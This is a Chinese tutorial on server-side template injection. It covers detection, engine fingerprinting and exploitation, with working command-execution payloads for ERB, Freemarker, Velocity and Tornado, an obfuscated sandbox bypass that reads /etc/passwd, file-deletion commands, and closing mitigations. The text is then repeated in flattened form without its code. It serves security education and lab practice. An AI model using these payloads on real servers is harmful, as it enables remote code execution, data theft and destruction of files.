高级漏洞篇之服务器端模板注入(SSTI)专题
字数 1470 2025-08-10 16:34:36

服务器端模板注入(SSTI)漏洞详解与利用

1. SSTI漏洞概述

服务器端模板注入(SSTI)是攻击者利用原生模板语法将恶意payload注入到可以在服务器端执行的模板中的过程。模板引擎将固定的模板与可变化的数据结合构建网页,当模板引擎将用户输入直接与固定模板拼接时,就可能存在SSTI漏洞。

1.1 漏洞产生原理

SSTI漏洞的产生类似于SQL注入,当模板引擎没有将模板与数据区分开时,用户输入的数据可能会被当作模板的一部分执行。例如:

安全用法:

$output = $twig->render("Dear {first_name}", array("first_name" => $user.first_name));

危险用法:

$output = $twig->render("Dear " . $_GET['name']);

2. SSTI漏洞探测与识别

2.1 探测方法

  1. 模糊测试:使用模糊模板语句如${7*7}{{7*7}}等,观察服务器响应
  2. 数学运算测试:输入数学运算表达式,如${7*7},如果返回计算结果则可能存在漏洞

2.2 识别模板引擎

  1. 故意触发报错:输入无效表达式如<%=foobar%>,从报错信息判断引擎类型
  2. 语法差异测试
    • {{7*'7'}}在Twig中返回49,在Jinja2中返回7777777
    • 使用Burp提供的模板引擎识别图表进行比对

3. SSTI漏洞利用

3.1 利用步骤

  1. 阅读文档:学习目标模板引擎的基础语法、关键函数和变量处理
  2. 探索环境:尝试访问所有可用的对象、方法和属性
  3. 构造利用:基于收集的信息构造攻击payload

3.2 不同上下文下的利用

3.2.1 纯文字上下文

示例payload:

http://vulnerable-website.com/?username=${7*7}

3.2.2 代码上下文

示例代码:

greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)

攻击方法:提前闭合双花括号并注入自定义语句

3.3 不同模板引擎的利用示例

3.3.1 ERB (Ruby)

基本语法:<%= ruby代码 %>

执行命令:

<%= system("rm /home/carlos/morale.txt") %>

3.3.2 Freemarker

利用内置函数执行OS命令:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("rm /home/carlos/morale.txt")}

3.3.3 Tornado

基本语法:{{ python代码 }}

执行命令:

{{ handler.settings.application.settings.get('cookie_secret') }}

3.3.4 Velocity (Java)

对象链利用:

$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

3.4 高级利用技术

  1. 环境探索

    • Java: ${T(java.lang.System).getenv()}
    • 使用Burp Intruder暴力破解变量名
  2. 开发者提供的对象利用

    • 使用{% debug %}显示调试信息
    • 访问环境变量:{{settings.SECRET_KEY}}
  3. 对象链构造

    • 通过方法链访问敏感功能
    • 示例:user.setAvatar('/etc/passwd','image/jpg')
  4. 沙箱绕过

    • 利用反射机制
    • 通过现有对象的方法链突破限制

4. 漏洞缓解措施

  1. 使用无逻辑模板引擎:如Mustache,将逻辑与渲染分离
  2. 沙箱环境:在受限环境中执行用户代码
  3. Docker容器:在封闭的容器中部署模板环境
  4. 输入过滤:严格验证用户输入,避免直接拼接
  5. 最小权限原则:限制模板引擎的执行权限

5. 实战案例

5.1 基础SSTI利用(ERB)

  1. 探测:使用<%= 7*7 %>测试
  2. 确认:返回49说明存在漏洞
  3. 利用:
<%= system("ls") %>
<%= system("rm /home/carlos/morale.txt") %>

5.2 沙箱环境绕过

利用对象链:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

5.3 开发者对象利用

  1. 发现User对象有setAvatar方法
  2. 利用方法修改头像路径为目标文件:
{{ user.setAvatar('/etc/passwd','image/jpg') }}
  1. 刷新页面读取文件内容
  2. 发现文件删除方法后,设置头像为目标文件并调用删除方法

6. 总结

SSTI漏洞危害严重,可导致远程代码执行、敏感信息泄露等后果。防御关键在于:

  1. 避免直接拼接用户输入与模板
  2. 使用安全的模板引擎
  3. 实施严格的输入验证
  4. 在最小权限环境中运行模板引擎

理解不同模板引擎的语法特性和安全机制是有效防御SSTI攻击的基础。

服务器端模板注入(SSTI)漏洞详解与利用 1. SSTI漏洞概述 服务器端模板注入(SSTI)是攻击者利用原生模板语法将恶意payload注入到可以在服务器端执行的模板中的过程。模板引擎将固定的模板与可变化的数据结合构建网页,当模板引擎将用户输入直接与固定模板拼接时,就可能存在SSTI漏洞。 1.1 漏洞产生原理 SSTI漏洞的产生类似于SQL注入,当模板引擎没有将模板与数据区分开时,用户输入的数据可能会被当作模板的一部分执行。例如: 安全用法: 危险用法: 2. SSTI漏洞探测与识别 2.1 探测方法 模糊测试 :使用模糊模板语句如 ${7*7} 、 {{7*7}} 等,观察服务器响应 数学运算测试 :输入数学运算表达式,如 ${7*7} ,如果返回计算结果则可能存在漏洞 2.2 识别模板引擎 故意触发报错 :输入无效表达式如 <%=foobar%> ,从报错信息判断引擎类型 语法差异测试 : {{7*'7'}} 在Twig中返回49,在Jinja2中返回7777777 使用Burp提供的模板引擎识别图表进行比对 3. SSTI漏洞利用 3.1 利用步骤 阅读文档 :学习目标模板引擎的基础语法、关键函数和变量处理 探索环境 :尝试访问所有可用的对象、方法和属性 构造利用 :基于收集的信息构造攻击payload 3.2 不同上下文下的利用 3.2.1 纯文字上下文 示例payload: 3.2.2 代码上下文 示例代码: 攻击方法:提前闭合双花括号并注入自定义语句 3.3 不同模板引擎的利用示例 3.3.1 ERB (Ruby) 基本语法: <%= ruby代码 %> 执行命令: 3.3.2 Freemarker 利用内置函数执行OS命令: 3.3.3 Tornado 基本语法: {{ python代码 }} 执行命令: 3.3.4 Velocity (Java) 对象链利用: 3.4 高级利用技术 环境探索 : Java: ${T(java.lang.System).getenv()} 使用Burp Intruder暴力破解变量名 开发者提供的对象利用 : 使用 {% debug %} 显示调试信息 访问环境变量: {{settings.SECRET_KEY}} 对象链构造 : 通过方法链访问敏感功能 示例: user.setAvatar('/etc/passwd','image/jpg') 沙箱绕过 : 利用反射机制 通过现有对象的方法链突破限制 4. 漏洞缓解措施 使用无逻辑模板引擎 :如Mustache,将逻辑与渲染分离 沙箱环境 :在受限环境中执行用户代码 Docker容器 :在封闭的容器中部署模板环境 输入过滤 :严格验证用户输入,避免直接拼接 最小权限原则 :限制模板引擎的执行权限 5. 实战案例 5.1 基础SSTI利用(ERB) 探测:使用 <%= 7*7 %> 测试 确认:返回49说明存在漏洞 利用: 5.2 沙箱环境绕过 利用对象链: 5.3 开发者对象利用 发现User对象有setAvatar方法 利用方法修改头像路径为目标文件: 刷新页面读取文件内容 发现文件删除方法后,设置头像为目标文件并调用删除方法 6. 总结 SSTI漏洞危害严重,可导致远程代码执行、敏感信息泄露等后果。防御关键在于: 避免直接拼接用户输入与模板 使用安全的模板引擎 实施严格的输入验证 在最小权限环境中运行模板引擎 理解不同模板引擎的语法特性和安全机制是有效防御SSTI攻击的基础。